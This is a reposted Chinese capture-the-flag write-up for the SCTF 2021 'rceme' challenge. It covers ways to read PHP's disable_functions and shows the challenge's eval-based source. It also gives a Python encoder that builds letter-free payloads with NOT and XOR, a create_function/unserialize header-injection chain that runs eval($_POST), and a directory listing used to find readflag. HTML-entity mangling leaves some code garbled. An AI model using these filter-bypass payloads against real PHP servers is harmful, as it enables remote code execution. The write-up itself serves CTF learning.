1.[SCTF 2021]rceme

总结下获取disabled_funciton方式 

1.phpinfo()

2.var_dump(ini_get(“disable_functions”));

3.var_dump(get_cfg_var(“disable_functions”));

其他的

var_dump(get_cfg_var(“open_basedir”));

var_dump(ini_get_all());

<?php
if(isset($_POST['cmd'])){
    $code = $_POST['cmd'];
    if(preg_match('/[A-Za-z0-9]|'|"|`| |,|-|+|=|/|\|<|&gt;|$|?|^|&amp;||/ixm',$code)){
        die('<script&gt;alert('Try harder!');history.back()</script&gt;');
    }else if(';' === preg_replace('/[^s()]+?((?R)?)/', '', $code)){
        @eval($code);
        die();
    }
} else {
    highlight_file(__FILE__);
    var_dump(ini_get("disable_functions"));
}
?&gt;

剩下符号:().:[]{}*%#@!~ 

 异或脚本 这里用的是取反结合异或[!%FF]

def one(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:].upper()
    return f"[~{ss}][!%FF]("
b=1
while b<2:
    a = input(":&gt;").strip(")")
    aa = a.split("(")
    s = ""
    for each in aa[:-1]:
        s += one(each)
    s += ")" * (len(aa) - 1) + ";"
    b+=1
    print(s)

 构造payload  

可用通过unserialize和可变参数来传入多个参数

create_funtion本质是语法解析的。可以直接注入eval

create_function(...unserialize(getallheaders()))
  
[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));

http heades 传入一个序列化的参数数组

<?php
$arr=['','}eval($_POST["a"]);//'];
$str=serialize($arr);
echo $str;
 
=&gt; a:2:{i:0;s:0:"";i:1;s:21:"}eval($_POST["a"]);//";}

 通过php原生类DirectoryIterator读取目录,发现目录下有flag以及readflag,flag我们没有读取权限,所以通过执行readflag来获取flag

a=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f-&gt;__toString()." ");}

 

原文地址:https://blog.csdn.net/m0_73847654/article/details/134754170

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_30856.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注